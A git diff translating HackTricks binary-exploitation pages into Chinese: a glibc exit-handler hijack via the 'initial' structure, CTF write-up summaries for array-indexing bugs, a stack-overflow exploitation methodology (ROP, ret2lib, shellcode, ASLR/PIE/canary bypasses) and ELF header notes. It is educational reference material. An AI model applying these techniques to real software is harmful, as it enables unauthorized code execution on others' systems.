+case ef_us:
+break;
+case ef_on:
+onfct = f->func.on.fn;
+arg = f->func.on.arg;
+PTR_DEMANGLE (onfct);
- /* Unlock the list while we call a foreign function. */
- __libc_lock_unlock (__exit_funcs_lock);
- onfct (status, arg);
- __libc_lock_lock (__exit_funcs_lock);
- break;
- case ef_at:
- atfct = f->func.at;
- PTR_DEMANGLE (atfct);
+/* Unlock the list while we call a foreign function. */
+__libc_lock_unlock (__exit_funcs_lock);
+onfct (status, arg);
+__libc_lock_lock (__exit_funcs_lock);
+break;
+case ef_at:
+atfct = f->func.at;
+PTR_DEMANGLE (atfct);
- /* Unlock the list while we call a foreign function. */
- __libc_lock_unlock (__exit_funcs_lock);
- atfct ();
- __libc_lock_lock (__exit_funcs_lock);
- break;
- case ef_cxa:
- /* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
- we must mark this function as ef_free. */
- f->flavor = ef_free;
- cxafct = f->func.cxa.fn;
- arg = f->func.cxa.arg;
- PTR_DEMANGLE (cxafct);
+/* Unlock the list while we call a foreign function. */
+__libc_lock_unlock (__exit_funcs_lock);
+atfct ();
+__libc_lock_lock (__exit_funcs_lock);
+break;
+case ef_cxa:
+/* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
+we must mark this function as ef_free. */
+f->flavor = ef_free;
+cxafct = f->func.cxa.fn;
+arg = f->func.cxa.arg;
+PTR_DEMANGLE (cxafct);
- /* Unlock the list while we call a foreign function. */
- __libc_lock_unlock (__exit_funcs_lock);
- cxafct (arg, status);
- __libc_lock_lock (__exit_funcs_lock);
- break;
- }
+/* Unlock the list while we call a foreign function. */
+__libc_lock_unlock (__exit_funcs_lock);
+cxafct (arg, status);
+__libc_lock_lock (__exit_funcs_lock);
+break;
+}
- if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
- /* The last exit function, or another thread, has registered
- more exit functions. Start the loop over. */
- goto restart;
- }
+if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
+/* The last exit function, or another thread, has registered
+more exit functions. Start the loop over. */
+goto restart;
+}
- *listp = cur->next;
- if (*listp != NULL)
- /* Don't free the last element in the chain, this is the statically
- allocate element. */
- free (cur);
- }
+*listp = cur->next;
+if (*listp != NULL)
+/* Don't free the last element in the chain, this is the statically
+allocate element. */
+free (cur);
+}
- __libc_lock_unlock (__exit_funcs_lock);
+__libc_lock_unlock (__exit_funcs_lock);
```
+变量 `f` 指向 **`initial`** 结构,具体调用哪个函数取决于 `f->flavor` 的值。\
+根据该值,调用的函数地址会在不同的位置,但它始终是 **demangled** 的。
-The variable `f` points to the **`initial`** structure and depending on the value of `f->flavor` different functions will be called.\
-Depending on the value, the address of the function to call will be in a different place, but it'll always be **demangled**.
+此外,在选项 **`ef_on`** 和 **`ef_cxa`** 中,也可以控制一个 **argument**。
-Moreover, in the options **`ef_on`** and **`ef_cxa`** it's also possible to control an **argument**.
+可以在调试会话中使用 GEF 检查 **`initial` 结构**,命令为 **`gef> p initial`**。
-It's possible to check the **`initial` structure** in a debugging session with GEF running **`gef> p initial`**.
-
-To abuse this you need either to **leak or erase the `PTR_MANGLE`cookie** and then overwrite a `cxa` entry in initial with `system('/bin/sh')`.\
-You can find an example of this in the [**original blog post about the technique**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure).
+要利用这一点,你需要 **leak 或者擦除 `PTR_MANGLE`cookie**,然后用 `system('/bin/sh')` 覆盖 initial 中的 `cxa` 条目。\
+你可以在 [**关于该技术的原始博客文章**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure) 中找到这个例子的说明。
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/array-indexing.md b/src/binary-exploitation/array-indexing.md
index 675eb939e..d6311ed53 100644
--- a/src/binary-exploitation/array-indexing.md
+++ b/src/binary-exploitation/array-indexing.md
@@ -1,18 +1,18 @@
-# Array Indexing
+# 数组索引
{{#include ../banners/hacktricks-training.md}}
-## Basic Information
+## 基本信息
-This category includes all vulnerabilities that occur because it is possible to overwrite certain data through errors in the handling of indexes in arrays. It's a very wide category with no specific methodology as the exploitation mechanism relays completely on the conditions of the vulnerability.
+此类别包括所有由于在处理数组索引时出现错误而可能覆盖某些数据的漏洞。这是一个非常广泛的类别,没有特定的方法论,因为利用机制完全依赖于漏洞的条件。
-However he you can find some nice **examples**:
+然而,您可以找到一些不错的 **示例**:
- [https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html](https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html)
- - There are **2 colliding arrays**, one for **addresses** where data is stored and one with the **sizes** of that data. It's possible to overwrite one from the other, enabling to write an arbitrary address indicating it as a size. This allows to write the address of the `free` function in the GOT table and then overwrite it with the address to `system`, and call free from a memory with `/bin/sh`.
+- 有 **2 个冲突的数组**,一个用于 **地址**,存储数据,另一个用于该数据的 **大小**。可以从一个数组覆盖另一个数组,从而写入一个任意地址,将其视为大小。这允许在 GOT 表中写入 `free` 函数的地址,然后用 `system` 的地址覆盖它,并从内存中调用 `/bin/sh` 的 free。
- [https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html](https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html)
- - 64 bits, no nx. Overwrite a size to get a kind of buffer overflow where every thing is going to be used a double number and sorted from smallest to biggest so it's needed to create a shellcode that fulfil that requirement, taking into account that the canary shouldn't be moved from it's position and finally overwriting the RIP with an address to ret, that fulfil he previous requirements and putting the biggest address a new address pointing to the start of the stack (leaked by the program) so it's possible to use the ret to jump there.
+- 64 位,无 nx。覆盖一个大小以获得一种缓冲区溢出,其中每个东西都将被用作双倍数字,并按从小到大的顺序排序,因此需要创建一个满足该要求的 shellcode,考虑到 canary 不应从其位置移动,最后用一个返回地址覆盖 RIP,该地址满足先前的要求,并将最大的地址放置为指向栈开始的新地址(由程序泄漏),以便可以使用 ret 跳转到那里。
- [https://faraz.faith/2019-10-20-secconctf-2019-sum/](https://faraz.faith/2019-10-20-secconctf-2019-sum/)
- - 64bits, no relro, canary, nx, no pie. There is an off-by-one in an array in the stack that allows to control a pointer granting WWW (it write the sum of all the numbers of the array in the overwritten address by the of-by-one in the array). The stack is controlled so the GOT `exit` address is overwritten with `pop rdi; ret`, and in the stack is added the address to `main` (looping back to `main`). The a ROP chain to leak the address of put in the GOT using puts is used (`exit` will be called so it will call `pop rdi; ret` therefore executing this chain in the stack). Finally a new ROP chain executing ret2lib is used.
+- 64 位,无 relro,canary,nx,无 pie。栈中的数组存在一个 off-by-one 漏洞,允许控制一个指针,从而授予 WWW(它将数组中所有数字的总和写入被数组中的 off-by-one 覆盖的地址)。栈被控制,因此 GOT 的 `exit` 地址被覆盖为 `pop rdi; ret`,并在栈中添加 `main` 的地址(循环回到 `main`)。使用 ROP 链泄漏 GOT 中 put 的地址,使用 puts(`exit` 将被调用,因此将调用 `pop rdi; ret`,因此在栈中执行此链)。最后,使用新的 ROP 链执行 ret2lib。
- [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html)
- - 32 bit, no relro, no canary, nx, pie. Abuse a bad indexing to leak addresses of libc and heap from the stack. Abuse the buffer overflow o do a ret2lib calling `system('/bin/sh')` (the heap address is needed to bypass a check).
+- 32 位,无 relro,无 canary,nx,pie。利用错误的索引泄漏 libc 和堆的地址。利用缓冲区溢出进行 ret2lib 调用 `system('/bin/sh')`(需要堆地址以绕过检查)。
diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md
index a5e59ae40..c38c7b67b 100644
--- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md
+++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md
@@ -1,111 +1,111 @@
-# Basic Binary Exploitation Methodology
+# 基本二进制利用方法论
{{#include ../../banners/hacktricks-training.md}}
-## ELF Basic Info
+## ELF 基本信息
-Before start exploiting anything it's interesting to understand part of the structure of an **ELF binary**:
+在开始利用任何东西之前,了解 **ELF 二进制文件** 的结构是很有趣的:
{{#ref}}
elf-tricks.md
{{#endref}}
-## Exploiting Tools
+## 利用工具
{{#ref}}
tools/
{{#endref}}
-## Stack Overflow Methodology
+## 栈溢出方法论
-With so many techniques it's good to have a scheme when each technique will be useful. Note that the same protections will affect different techniques. You can find ways to bypass the protections on each protection section but not in this methodology.
+有这么多技术时,拥有一个方案来确定每种技术何时有用是很好的。请注意,相同的保护措施会影响不同的技术。您可以在每个保护部分找到绕过保护的方法,但在此方法论中找不到。
-## Controlling the Flow
+## 控制流程
-There are different was you could end controlling the flow of a program:
+您可以通过不同的方式控制程序的流程:
-- [**Stack Overflows**](../stack-overflow/) overwriting the return pointer from the stack or the EBP -> ESP -> EIP.
- - Might need to abuse an [**Integer Overflows**](../integer-overflow.md) to cause the overflow
-- Or via **Arbitrary Writes + Write What Where to Execution**
- - [**Format strings**](../format-strings/)**:** Abuse `printf` to write arbitrary content in arbitrary addresses.
- - [**Array Indexing**](../array-indexing.md): Abuse a poorly designed indexing to be able to control some arrays and get an arbitrary write.
- - Might need to abuse an [**Integer Overflows**](../integer-overflow.md) to cause the overflow
- - **bof to WWW via ROP**: Abuse a buffer overflow to construct a ROP and be able to get a WWW.
+- [**栈溢出**](../stack-overflow/) 通过覆盖栈中的返回指针或 EBP -> ESP -> EIP。
+- 可能需要利用 [**整数溢出**](../integer-overflow.md) 来导致溢出
+- 或通过 **任意写入 + 写入什么到哪里执行**
+- [**格式字符串**](../format-strings/)**:** 利用 `printf` 在任意地址写入任意内容。
+- [**数组索引**](../array-indexing.md): 利用设计不良的索引来控制某些数组并获得任意写入。
+- 可能需要利用 [**整数溢出**](../integer-overflow.md) 来导致溢出
+- **bof 到 WWW 通过 ROP**: 利用缓冲区溢出构造 ROP 并能够获得 WWW。
-You can find the **Write What Where to Execution** techniques in:
+您可以在以下位置找到 **写入什么到哪里执行** 技术:
{{#ref}}
../arbitrary-write-2-exec/
{{#endref}}
-## Eternal Loops
+## 永久循环
-Something to take into account is that usually **just one exploitation of a vulnerability might not be enough** to execute a successful exploit, specially some protections need to be bypassed. Therefore, it's interesting discuss some options to **make a single vulnerability exploitable several times** in the same execution of the binary:
+需要考虑的一点是,通常 **仅仅利用一次漏洞可能不够** 来执行成功的利用,特别是某些保护需要被绕过。因此,讨论一些选项以 **使单个漏洞在同一二进制执行中可利用多次** 是很有趣的:
-- Write in a **ROP** chain the address of the **`main` function** or to the address where the **vulnerability** is occurring.
- - Controlling a proper ROP chain you might be able to perform all the actions in that chain
-- Write in the **`exit` address in GOT** (or any other function used by the binary before ending) the address to go **back to the vulnerability**
-- As explained in [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** store 2 functions here, one to call the vuln again and another to call**`__libc_csu_fini`** which will call again the function from `.fini_array`.
+- 在 **ROP** 链中写入 **`main` 函数** 的地址或发生 **漏洞** 的地址。
+- 控制一个合适的 ROP 链,您可能能够在该链中执行所有操作
+- 在 GOT 中写入 **`exit` 地址**(或二进制在结束前使用的任何其他函数)到 **返回漏洞**
+- 如 [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**中所述,** 在这里存储 2 个函数,一个用于再次调用漏洞,另一个用于调用 **`__libc_csu_fini`**,它将再次调用 `.fini_array` 中的函数。
-## Exploitation Goals
+## 利用目标
-### Goal: Call an Existing function
+### 目标:调用现有函数
-- [**ret2win**](./#ret2win): There is a function in the code you need to call (maybe with some specific params) in order to get the flag.
- - In a **regular bof without** [**PIE**](../common-binary-protections-and-bypasses/pie/) **and** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) you just need to write the address in the return address stored in the stack.
- - In a bof with [**PIE**](../common-binary-protections-and-bypasses/pie/), you will need to bypass it
- - In a bof with [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), you will need to bypass it
- - If you need to set several parameter to correctly call the **ret2win** function you can use:
- - A [**ROP**](./#rop-and-ret2...-techniques) **chain if there are enough gadgets** to prepare all the params
- - [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (in case you can call this syscall) to control a lot of registers
- - Gadgets from [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) and [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) to control several registers
- - Via a [**Write What Where**](../arbitrary-write-2-exec/) you could abuse other vulns (not bof) to call the **`win`** function.
-- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): In case the stack contains pointers to a function that is going to be called or to a string that is going to be used by an interesting function (system or printf), it's possible to overwrite that address.
- - [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) might affect the addresses.
-- [**Uninitialized vatiables**](../stack-overflow/uninitialized-variables.md): You never know.
+- [**ret2win**](./#ret2win): 代码中有一个您需要调用的函数(可能带有一些特定参数)以获取标志。
+- 在 **没有** [**PIE**](../common-binary-protections-and-bypasses/pie/) **和** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) 的常规 bof 中,您只需在存储在栈中的返回地址中写入地址。
+- 在带有 [**PIE**](../common-binary-protections-and-bypasses/pie/) 的 bof 中,您需要绕过它
+- 在带有 [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) 的 bof 中,您需要绕过它
+- 如果您需要设置多个参数以正确调用 **ret2win** 函数,您可以使用:
+- 如果有足够的 gadgets,可以使用 [**ROP**](./#rop-and-ret2...-techniques) **链来准备所有参数
+- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/)(如果您可以调用此系统调用)来控制许多寄存器
+- 来自 [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) 和 [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) 的 gadgets 来控制多个寄存器
+- 通过 [**写入什么到哪里**](../arbitrary-write-2-exec/) 您可以利用其他漏洞(不是 bof)来调用 **`win`** 函数。
+- [**指针重定向**](../stack-overflow/pointer-redirecting.md): 如果栈包含指向将要被调用的函数或将要被有趣的函数(system 或 printf)使用的字符串的指针,则可以覆盖该地址。
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) 或 [**PIE**](../common-binary-protections-and-bypasses/pie/) 可能会影响地址。
+- [**未初始化变量**](../stack-overflow/uninitialized-variables.md): 你永远不知道。
-### Goal: RCE
+### 目标:RCE
-#### Via shellcode, if nx disabled or mixing shellcode with ROP:
+#### 通过 shellcode,如果 nx 被禁用或将 shellcode 与 ROP 混合:
-- [**(Stack) Shellcode**](./#stack-shellcode): This is useful to store a shellcode in the stack before of after overwriting the return pointer and then **jump to it** to execute it:
- - **In any case, if there is a** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,** in a regular bof you will need to bypass (leak) it
- - **Without** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) it's possible to jump to the address of the stack as it won't never change
- - **With** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) you will need techniques such as [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) to jump to it
- - **With** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), you will need to use some [**ROP**](../rop-return-oriented-programing/) **to call `memprotect`** and make some page `rwx`, in order to then **store the shellcode in there** (calling read for example) and then jump there.
- - This will mix shellcode with a ROP chain.
+- [**(栈) Shellcode**](./#stack-shellcode): 这对于在覆盖返回指针之前或之后在栈中存储 shellcode 并然后 **跳转到它** 执行它是有用的:
+- **在任何情况下,如果有** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,** 在常规 bof 中,您需要绕过(泄漏)它
+- **没有** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **和** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md),可以跳转到栈的地址,因为它不会改变
+- **有** [**ASLR**](../common-binary-protections-and-bypasses/aslr/),您将需要使用 [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) 等技术来跳转到它
+- **有** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md),您将需要使用一些 [**ROP**](../rop-return-oriented-programing/) **来调用 `memprotect`** 并使某些页面 `rwx`,然后 **将 shellcode 存储在其中**(例如调用 read)并然后跳转到那里。
+- 这将把 shellcode 与 ROP 链混合。
-#### Via syscalls
+#### 通过系统调用
-- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Useful to call `execve` to run arbitrary commands. You need to be able to find the **gadgets to call the specific syscall with the parameters**.
- - If [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) are enabled you'll need to defeat them **in order to use ROP gadgets** from the binary or libraries.
- - [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) can be useful to prepare the **ret2execve**
- - Gadgets from [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) and [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) to control several registers
+- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): 有用的调用 `execve` 来运行任意命令。您需要能够找到 **调用特定系统调用的 gadgets 及其参数**。
+- 如果 [**ASLR**](../common-binary-protections-and-bypasses/aslr/) 或 [**PIE**](../common-binary-protections-and-bypasses/pie/) 被启用,您需要击败它们 **以便使用二进制文件或库中的 ROP gadgets**。
+- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) 可以用于准备 **ret2execve**
+- 来自 [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) 和 [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) 的 gadgets 来控制多个寄存器
-#### Via libc
+#### 通过 libc
-- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Useful to call a function from a library (usually from **`libc`**) like **`system`** with some prepared arguments (e.g. `'/bin/sh'`). You need the binary to **load the library** with the function you would like to call (libc usually).
- - If **statically compiled and no** [**PIE**](../common-binary-protections-and-bypasses/pie/), the **address** of `system` and `/bin/sh` are not going to change, so it's possible to use them statically.
- - **Without** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and knowing the libc version** loaded, the **address** of `system` and `/bin/sh` are not going to change, so it's possible to use them statically.
- - With [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **but no** [**PIE**](../common-binary-protections-and-bypasses/pie/)**, knowing the libc and with the binary using the `system`** function it's possible to **`ret` to the address of system in the GOT** with the address of `'/bin/sh'` in the param (you will need to figure this out).
- - With [ASLR](../common-binary-protections-and-bypasses/aslr/) but no [PIE](../common-binary-protections-and-bypasses/pie/), knowing the libc and **without the binary using the `system`** :
- - Use [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) to resolve the address of `system` and call it
- - **Bypass** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) and calculate the address of `system` and `'/bin/sh'` in memory.
- - **With** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and** [**PIE**](../common-binary-protections-and-bypasses/pie/) **and not knowing the libc**: You need to:
- - Bypass [**PIE**](../common-binary-protections-and-bypasses/pie/)
- - Find the **`libc` version** used (leak a couple of function addresses)
- - Check the **previous scenarios with ASLR** to continue.
+- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): 有用的调用库中的函数(通常是 **`libc`**)如 **`system`**,带有一些准备好的参数(例如 `'/bin/sh'`)。您需要二进制文件 **加载库** 以调用您想要的函数(通常是 libc)。
+- 如果 **静态编译且没有** [**PIE**](../common-binary-protections-and-bypasses/pie/),`system` 和 `/bin/sh` 的 **地址** 不会改变,因此可以静态使用它们。
+- **没有** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **并且知道加载的 libc 版本**,`system` 和 `/bin/sh` 的 **地址** 不会改变,因此可以静态使用它们。
+- 在 [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **但没有** [**PIE**](../common-binary-protections-and-bypasses/pie/)**,知道 libc 并且二进制文件使用 `system`** 函数,可以 **`ret` 到 GOT 中 system 的地址**,并将 `'/bin/sh'` 的地址作为参数(您需要弄清楚这一点)。
+- 在 [ASLR](../common-binary-protections-and-bypasses/aslr/) 但没有 [PIE](../common-binary-protections-and-bypasses/pie/),知道 libc 并且 **没有二进制文件使用 `system`**:
+- 使用 [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) 来解析 `system` 的地址并调用它
+- **绕过** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) 并计算 `system` 和 `'/bin/sh'` 在内存中的地址。
+- **有** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **和** [**PIE**](../common-binary-protections-and-bypasses/pie/) **并且不知道 libc**:您需要:
+- 绕过 [**PIE**](../common-binary-protections-and-bypasses/pie/)
+- 找到使用的 **`libc` 版本**(泄漏几个函数地址)
+- 检查 **与 ASLR 相关的先前场景** 以继续。
-#### Via EBP/RBP
+#### 通过 EBP/RBP
-- [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Control the ESP to control RET through the stored EBP in the stack.
- - Useful for **off-by-one** stack overflows
- - Useful as an alternate way to end controlling EIP while abusing EIP to construct the payload in memory and then jumping to it via EBP
+- [**栈转移 / EBP2Ret / EBP 链接**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): 控制 ESP 以通过存储在栈中的 EBP 控制 RET。
+- 对于 **off-by-one** 栈溢出很有用
+- 作为一种替代方法,在利用 EIP 构造内存中的有效载荷后,通过 EBP 跳转到它也很有用
-#### Misc
+#### 其他
-- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): In case the stack contains pointers to a function that is going to be called or to a string that is going to be used by an interesting function (system or printf), it's possible to overwrite that address.
- - [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) might affect the addresses.
-- [**Uninitialized variables**](../stack-overflow/uninitialized-variables.md): You never know
+- [**指针重定向**](../stack-overflow/pointer-redirecting.md): 如果栈包含指向将要被调用的函数或将要被有趣的函数(system 或 printf)使用的字符串的指针,则可以覆盖该地址。
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) 或 [**PIE**](../common-binary-protections-and-bypasses/pie/) 可能会影响地址。
+- [**未初始化变量**](../stack-overflow/uninitialized-variables.md): 你永远不知道。
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md
index f5886ddcc..9c04f8049 100644
--- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md
+++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md
@@ -1,11 +1,10 @@
-# ELF Basic Information
+# ELF 基本信息
{{#include ../../banners/hacktricks-training.md}}
-## Program Headers
-
-The describe to the loader how to load the **ELF** into memory:
+## 程序头
+描述加载器如何将 **ELF** 加载到内存中:
```bash
readelf -lW lnstat
@@ -14,80 +13,78 @@ Entry point 0x1c00
There are 9 program headers, starting at offset 64
Program Headers:
- Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
- PHDR 0x000040 0x0000000000000040 0x0000000000000040 0x0001f8 0x0001f8 R 0x8
- INTERP 0x000238 0x0000000000000238 0x0000000000000238 0x00001b 0x00001b R 0x1
- [Requesting program interpreter: /lib/ld-linux-aarch64.so.1]
- LOAD 0x000000 0x0000000000000000 0x0000000000000000 0x003f7c 0x003f7c R E 0x10000
- LOAD 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x000528 0x001190 RW 0x10000
- DYNAMIC 0x00fc58 0x000000000001fc58 0x000000000001fc58 0x000200 0x000200 RW 0x8
- NOTE 0x000254 0x0000000000000254 0x0000000000000254 0x0000e0 0x0000e0 R 0x4
- GNU_EH_FRAME 0x003610 0x0000000000003610 0x0000000000003610 0x0001b4 0x0001b4 R 0x4
- GNU_STACK 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW 0x10
- GNU_RELRO 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x0003b8 0x0003b8 R 0x1
+Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
+PHDR 0x000040 0x0000000000000040 0x0000000000000040 0x0001f8 0x0001f8 R 0x8
+INTERP 0x000238 0x0000000000000238 0x0000000000000238 0x00001b 0x00001b R 0x1
+[Requesting program interpreter: /lib/ld-linux-aarch64.so.1]
+LOAD 0x000000 0x0000000000000000 0x0000000000000000 0x003f7c 0x003f7c R E 0x10000
+LOAD 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x000528 0x001190 RW 0x10000
+DYNAMIC 0x00fc58 0x000000000001fc58 0x000000000001fc58 0x000200 0x000200 RW 0x8
+NOTE 0x000254 0x0000000000000254 0x0000000000000254 0x0000e0 0x0000e0 R 0x4
+GNU_EH_FRAME 0x003610 0x0000000000003610 0x0000000000003610 0x0001b4 0x0001b4 R 0x4
+GNU_STACK 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW 0x10
+GNU_RELRO 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x0003b8 0x0003b8 R 0x1
- Section to Segment mapping:
- Segment Sections...
- 00
- 01 .interp
- 02 .interp .note.gnu.build-id .note.ABI-tag .note.package .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame
- 03 .init_array .fini_array .dynamic .got .data .bss
- 04 .dynamic
- 05 .note.gnu.build-id .note.ABI-tag .note.package
- 06 .eh_frame_hdr
- 07
- 08 .init_array .fini_array .dynamic .got
+Section to Segment mapping:
+Segment Sections...
+00
+01 .interp
+02 .interp .note.gnu.build-id .note.ABI-tag .note.package .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame
+03 .init_array .fini_array .dynamic .got .data .bss
+04 .dynamic
+05 .note.gnu.build-id .note.ABI-tag .note.package
+06 .eh_frame_hdr
+07
+08 .init_array .fini_array .dynamic .got
```
+之前的程序有**9个程序头**,然后,**段映射**指示每个节位于哪个程序头(从00到08)。
-The previous program has **9 program headers**, then, the **segment mapping** indicates in which program header (from 00 to 08) **each section is located**.
+### PHDR - 程序头
-### PHDR - Program HeaDeR
-
-Contains the program header tables and metadata itself.
+包含程序头表和元数据本身。
### INTERP
-Indicates the path of the loader to use to load the binary into memory.
+指示用于将二进制文件加载到内存中的加载器的路径。
### LOAD
-These headers are used to indicate **how to load a binary into memory.**\
-Each **LOAD** header indicates a region of **memory** (size, permissions and alignment) and indicates the bytes of the ELF **binary to copy in there**.
+这些头用于指示**如何将二进制文件加载到内存中。**\
+每个**LOAD**头指示一个**内存**区域(大小、权限和对齐),并指示要复制到该区域的ELF **二进制文件的字节**。
-For example, the second one has a size of 0x1190, should be located at 0x1fc48 with permissions read and write and will be filled with 0x528 from the offset 0xfc48 (it doesn't fill all the reserved space). This memory will contain the sections `.init_array .fini_array .dynamic .got .data .bss`.
+例如,第二个的大小为0x1190,应该位于0x1fc48,具有读写权限,并将从偏移量0xfc48填充0x528(它并没有填满所有的保留空间)。该内存将包含节`.init_array .fini_array .dynamic .got .data .bss`。
### DYNAMIC
-This header helps to link programs to their library dependencies and apply relocations. Check the **`.dynamic`** section.
+该头有助于将程序链接到其库依赖项并应用重定位。查看**`.dynamic`**节。
### NOTE
-This stores vendor metadata information about the binary.
+存储有关二进制文件的供应商元数据信息。
### GNU_EH_FRAME
-Defines the location of the stack unwind tables, used by debuggers and C++ exception handling-runtime functions.
+定义堆栈展开表的位置,供调试器和C++异常处理运行时函数使用。
### GNU_STACK
-Contains the configuration of the stack execution prevention defense. If enabled, the binary won't be able to execute code from the stack.
+包含堆栈执行防护配置。如果启用,二进制文件将无法从堆栈执行代码。
### GNU_RELRO
-Indicates the RELRO (Relocation Read-Only) configuration of the binary. This protection will mark as read-only certain sections of the memory (like the `GOT` or the `init` and `fini` tables) after the program has loaded and before it begins running.
+指示二进制文件的RELRO(重定位只读)配置。此保护将在程序加载后和开始运行之前,将内存的某些节(如`GOT`或`init`和`fini`表)标记为只读。
-In the previous example it's copying 0x3b8 bytes to 0x1fc48 as read-only affecting the sections `.init_array .fini_array .dynamic .got .data .bss`.
+在之前的示例中,它将0x3b8字节复制到0x1fc48作为只读,影响节`.init_array .fini_array .dynamic .got .data .bss`。
-Note that RELRO can be partial or full, the partial version do not protect the section **`.plt.got`**, which is used for **lazy binding** and needs this memory space to have **write permissions** to write the address of the libraries the first time their location is searched.
+请注意,RELRO可以是部分或完整,部分版本不保护节**`.plt.got`**,该节用于**懒绑定**,并需要此内存空间具有**写权限**以在第一次搜索其位置时写入库的地址。
### TLS
-Defines a table of TLS entries, which stores info about thread-local variables.
+定义TLS条目的表,存储有关线程局部变量的信息。
-## Section Headers
-
-Section headers gives a more detailed view of the ELF binary
+## 节头
+节头提供了ELF二进制文件的更详细视图。
```
objdump lnstat -h
@@ -95,159 +92,153 @@ lnstat: file format elf64-littleaarch64
Sections:
Idx Name Size VMA LMA File off Algn
- 0 .interp 0000001b 0000000000000238 0000000000000238 00000238 2**0
- CONTENTS, ALLOC, LOAD, READONLY, DATA
- 1 .note.gnu.build-id 00000024 0000000000000254 0000000000000254 00000254 2**2
- CONTENTS, ALLOC, LOAD, READONLY, DATA
